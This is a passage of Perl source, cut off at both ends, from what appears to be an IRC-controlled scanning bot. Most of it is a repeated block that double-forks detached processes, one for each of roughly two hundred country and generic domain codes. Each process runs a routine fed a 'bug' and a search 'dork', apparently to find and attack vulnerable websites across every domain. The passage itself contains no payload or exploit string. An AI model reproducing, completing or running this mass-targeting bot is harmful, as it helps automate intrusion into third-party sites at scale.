if ($engine =~ /fj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"fj",$type,$nick,$id); } exit; } } if ($engine =~ /fi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"fi",$type,$nick,$id); } exit; } } if ($engine =~ /gm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gm",$type,$nick,$id); } exit; } } if ($engine =~ /gi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gi",$type,$nick,$id); } exit; } } if ($engine =~ /gr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gr",$type,$nick,$id); } exit; } } if ($engine =~ /gl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gl",$type,$nick,$id); } exit; } } if ($engine =~ /gt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gt",$type,$nick,$id); } exit; } } if ($engine =~ /gg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gg",$type,$nick,$id); } exit; } } if ($engine =~ /ht/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ht",$type,$nick,$id); } exit; } } if ($engine =~ /hn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"hn",$type,$nick,$id); } exit; } } if ($engine =~ /hk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"hk",$type,$nick,$id); } exit; } } if ($engine =~ /is/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"is",$type,$nick,$id); } exit; } } if ($engine =~ /ie/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ie",$type,$nick,$id); } exit; } } if ($engine =~ /im/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"im",$type,$nick,$id); } exit; } } if ($engine =~ /je/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"je",$type,$nick,$id); } exit; } } if ($engine =~ /jo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"jo",$type,$nick,$id); } exit; } } if ($engine =~ /kz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"kz",$type,$nick,$id); } exit; } } if ($engine =~ /ke/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ke",$type,$nick,$id); } exit; } } if ($engine =~ /ir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ir",$type,$nick,$id); } exit; } } if ($engine =~ /vn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"vn",$type,$nick,$id); } exit; } } if ($engine =~ /kg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"kg",$type,$nick,$id); } exit; } } if ($engine =~ /lv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"lv",$type,$nick,$id); } exit; } } if ($engine =~ /ls/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ls",$type,$nick,$id); } exit; } } if ($engine =~ /ly/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ly",$type,$nick,$id); } exit; } } if ($engine =~ /li/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"li",$type,$nick,$id); } exit; } } if ($engine =~ /lt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"lt",$type,$nick,$id); } exit; } } if ($engine =~ /lu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"lu",$type,$nick,$id); } exit; } } if ($engine =~ /mw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mw",$type,$nick,$id); } exit; } } if ($engine =~ /mt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mt",$type,$nick,$id); } exit; } } if ($engine =~ /mu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mu",$type,$nick,$id); } exit; } } if ($engine =~ /fm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"fm",$type,$nick,$id); } exit; } } if ($engine =~ /mn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mn",$type,$nick,$id); } exit; } } if ($engine =~ /ms/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ms",$type,$nick,$id); } exit; } } if ($engine =~ /ma/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ma",$type,$nick,$id); } exit; } } if ($engine =~ /na/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"na",$type,$nick,$id); } exit; } } if ($engine =~ /np/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"np",$type,$nick,$id); } exit; } } if ($engine =~ /nz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"nz",$type,$nick,$id); } exit; } } if ($engine =~ /ni/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ni",$type,$nick,$id); } exit; } } if ($engine =~ /nf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"nf",$type,$nick,$id); } exit; } } if ($engine =~ /no/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"no",$type,$nick,$id); } exit; } } if ($engine =~ /om/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"om",$type,$nick,$id); } exit; } } if ($engine =~ /pk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"pk",$type,$nick,$id); } exit; } } if ($engine =~ /pa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"pa",$type,$nick,$id); } exit; } } if ($engine =~ /py/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"py",$type,$nick,$id); } exit; } } if ($engine =~ /pe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"pe",$type,$nick,$id); } exit; } } if ($engine =~ /pn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"pn",$type,$nick,$id); } exit; } } if ($engine =~ /pt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"pt",$type,$nick,$id); } exit; } } if ($engine =~ /pr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"pr",$type,$nick,$id); } exit; } } if ($engine =~ /qa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"qa",$type,$nick,$id); } exit; } } if ($engine =~ /rw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"rw",$type,$nick,$id); } exit; } } if ($engine =~ /sh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sh",$type,$nick,$id); } exit; } } if ($engine =~ /sm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sm",$type,$nick,$id); } exit; } } if ($engine =~ /sa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sa",$type,$nick,$id); } exit; } } if ($engine =~ /sn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sn",$type,$nick,$id); } exit; } } if ($engine =~ /sc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sc",$type,$nick,$id); } exit; } } if ($engine =~ /sg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sg",$type,$nick,$id); } exit; } } if ($engine =~ /sk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sk",$type,$nick,$id); } exit; } } if ($engine =~ /za/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"za",$type,$nick,$id); } exit; } } if ($engine =~ /lk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"lk",$type,$nick,$id); } exit; } } if ($engine =~ /vc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"vc",$type,$nick,$id); } exit; } } if ($engine =~ /se/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"se",$type,$nick,$id); } exit; } } if ($engine =~ /ch/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ch",$type,$nick,$id); } exit; } } if ($engine =~ /tw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tw",$type,$nick,$id); } exit; } } if ($engine =~ /tj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tj",$type,$nick,$id); } exit; } } if ($engine =~ /bs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bs",$type,$nick,$id); } exit; } } if ($engine =~ /to/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"to",$type,$nick,$id); } exit; } } if ($engine =~ /tt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tt",$type,$nick,$id); } exit; } } if ($engine =~ /tr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tr",$type,$nick,$id); } exit; } } if ($engine =~ /tm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tm",$type,$nick,$id); } exit; } } if ($engine =~ /vi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"vi",$type,$nick,$id); } exit; } } if ($engine =~ /ug/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ug",$type,$nick,$id); } exit; } } if ($engine =~ /uy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"uy",$type,$nick,$id); } exit; } } if ($engine =~ /uz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"uz",$type,$nick,$id); } exit; } } if ($engine =~ /ve/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ve",$type,$nick,$id); } exit; } } if ($engine =~ /vm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"vm",$type,$nick,$id); } exit; } } if ($engine =~ /zm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"zm",$type,$nick,$id); } exit; } } if ($engine =~ /ws/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ws",$type,$nick,$id); } exit; } } if ($engine =~ /af/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"af",$type,$nick,$id); } exit; } } if ($engine =~ /ax/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ax",$type,$nick,$id); } exit; } } if ($engine =~ /al/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"al",$type,$nick,$id); } exit; } } if ($engine =~ /dz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"dz",$type,$nick,$id); } exit; } } if ($engine =~ /ao/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ao",$type,$nick,$id); } exit; } } if ($engine =~ /aq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"aq",$type,$nick,$id); } exit; } } if ($engine =~ /am/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"am",$type,$nick,$id); } exit; } } if ($engine =~ /aw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"aw",$type,$nick,$id); } exit; } } if ($engine =~ /ac/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ac",$type,$nick,$id); } exit; } } if ($engine =~ /bj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bj",$type,$nick,$id); } exit; } } if ($engine =~ /bm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bm",$type,$nick,$id); } exit; } } if ($engine =~ /bt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bt",$type,$nick,$id); } exit; } } if ($engine =~ /bw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bw",$type,$nick,$id); } exit; } } if ($engine =~ /io/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"io",$type,$nick,$id); } exit; } } if ($engine =~ /bn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bn",$type,$nick,$id); } exit; } } if ($engine =~ /bf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"bf",$type,$nick,$id); } exit; } } if ($engine =~ /kh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"kh",$type,$nick,$id); } exit; } } if ($engine =~ /cm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cm",$type,$nick,$id); } exit; } } if ($engine =~ /cv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cv",$type,$nick,$id); } exit; } } if ($engine =~ /ky/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ky",$type,$nick,$id); } exit; } } if ($engine =~ /cf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cf",$type,$nick,$id); } exit; } } if ($engine =~ /cx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cx",$type,$nick,$id); } exit; } } if ($engine =~ /cw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cw",$type,$nick,$id); } exit; } } if ($engine =~ /cy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cy",$type,$nick,$id); } exit; } } if ($engine =~ /fk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"fk",$type,$nick,$id); } exit; } } if ($engine =~ /fo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"fo",$type,$nick,$id); } exit; } } if ($engine =~ /gh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gh",$type,$nick,$id); } exit; } } if ($engine =~ /gd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gd",$type,$nick,$id); } exit; } } if ($engine =~ /gp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gp",$type,$nick,$id); } exit; } } if ($engine =~ /gu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gu",$type,$nick,$id); } exit; } } if ($engine =~ /gn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gn",$type,$nick,$id); } exit; } } if ($engine =~ /gy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gy",$type,$nick,$id); } exit; } } if ($engine =~ /hm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"hm",$type,$nick,$id); } exit; } } if ($engine =~ /iq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"iq",$type,$nick,$id); } exit; } } if ($engine =~ /jm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"jm",$type,$nick,$id); } exit; } } if ($engine =~ /ki/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ki",$type,$nick,$id); } exit; } } if ($engine =~ /kw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"kw",$type,$nick,$id); } exit; } } if ($engine =~ /la/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"la",$type,$nick,$id); } exit; } } if ($engine =~ /lb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"lb",$type,$nick,$id); } exit; } } if ($engine =~ /lr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"lr",$type,$nick,$id); } exit; } } if ($engine =~ /mo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mo",$type,$nick,$id); } exit; } } if ($engine =~ /mg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mg",$type,$nick,$id); } exit; } } if ($engine =~ /mv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mv",$type,$nick,$id); } exit; } } if ($engine =~ /mp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mp",$type,$nick,$id); } exit; } } if ($engine =~ /mq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mq",$type,$nick,$id); } exit; } } if ($engine =~ /mr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mr",$type,$nick,$id); } exit; } } if ($engine =~ /yt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"yt",$type,$nick,$id); } exit; } } if ($engine =~ /md/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"md",$type,$nick,$id); } exit; } } if ($engine =~ /mc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mc",$type,$nick,$id); } exit; } } if ($engine =~ /me/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"me",$type,$nick,$id); } exit; } } if ($engine =~ /mz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mz",$type,$nick,$id); } exit; } } if ($engine =~ /nr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"nr",$type,$nick,$id); } exit; } } if ($engine =~ /nc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"nc",$type,$nick,$id); } exit; } } if ($engine =~ /ng/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ng",$type,$nick,$id); } exit; } } if ($engine =~ /nu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"nu",$type,$nick,$id); } exit; } } if ($engine =~ /pw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"pw",$type,$nick,$id); } exit; } } if ($engine =~ /ps/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ps",$type,$nick,$id); } exit; } } if ($engine =~ /cq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cq",$type,$nick,$id); } exit; } } if ($engine =~ /re/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"re",$type,$nick,$id); } exit; } } if ($engine =~ /lc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"lc",$type,$nick,$id); } exit; } } if ($engine =~ /pm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"pm",$type,$nick,$id); } exit; } } if ($engine =~ /st/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"st",$type,$nick,$id); } exit; } } if ($engine =~ /rs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"rs",$type,$nick,$id); } exit; } } if ($engine =~ /gs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gs",$type,$nick,$id); } exit; } } if ($engine =~ /sl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sl",$type,$nick,$id); } exit; } } if ($engine =~ /sx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sx",$type,$nick,$id); } exit; } } if ($engine =~ /sb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sb",$type,$nick,$id); } exit; } } if ($engine =~ /so/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"so",$type,$nick,$id); } exit; } } if ($engine =~ /su/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"su",$type,$nick,$id); } exit; } } if ($engine =~ /kn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"kn",$type,$nick,$id); } exit; } } if ($engine =~ /sr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"sr",$type,$nick,$id); } exit; } } if ($engine =~ /tz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tz",$type,$nick,$id); } exit; } } if ($engine =~ /tl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tl",$type,$nick,$id); } exit; } } if ($engine =~ /tg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tg",$type,$nick,$id); } exit; } } if ($engine =~ /tk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tk",$type,$nick,$id); } exit; } } if ($engine =~ /tn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tn",$type,$nick,$id); } exit; } } if ($engine =~ /tc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tc",$type,$nick,$id); } exit; } } if ($engine =~ /vu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"vu",$type,$nick,$id); } exit; } } if ($engine =~ /wf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"wf",$type,$nick,$id); } exit; } } if ($engine =~ /ye/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"ye",$type,$nick,$id); } exit; } } if ($engine =~ /zw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"zw",$type,$nick,$id); } exit; } } if ($engine =~ /com/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"com",$type,$nick,$id); } exit; } } if ($engine =~ /net/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"net",$type,$nick,$id); } exit; } } if ($engine =~ /org/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"org",$type,$nick,$id); } exit; } } if ($engine =~ /biz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"biz",$type,$nick,$id); } exit; } } if ($engine =~ /xxx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"xxx",$type,$nick,$id); } exit; } } if ($engine =~ /tel/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"tel",$type,$nick,$id); } exit; } } if ($engine =~ /mil/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mil",$type,$nick,$id); } exit; } } if ($engine =~ /pro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"pro",$type,$nick,$id); } exit; } } if ($engine =~ /edu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"edu",$type,$nick,$id); } exit; } } if ($engine =~ /gov/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"gov",$type,$nick,$id); } exit; } } if ($engine =~ /cat/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"cat",$type,$nick,$id); } exit; } } if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"info",$type,$nick,$id); } exit; } } if ($engine =~ /asia/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"asia",$type,$nick,$id); } exit; } } if ($engine =~ /name/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"name",$type,$nick,$id); } exit; } } if ($engine =~ /jobs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"jobs",$type,$nick,$id); } exit; } } if ($engine =~ /mobi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"mobi",$type,$nick,$id); } exit; } } if ($engine =~ /aero/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$dork,"aero",$type,$nick,$id); } exit; } 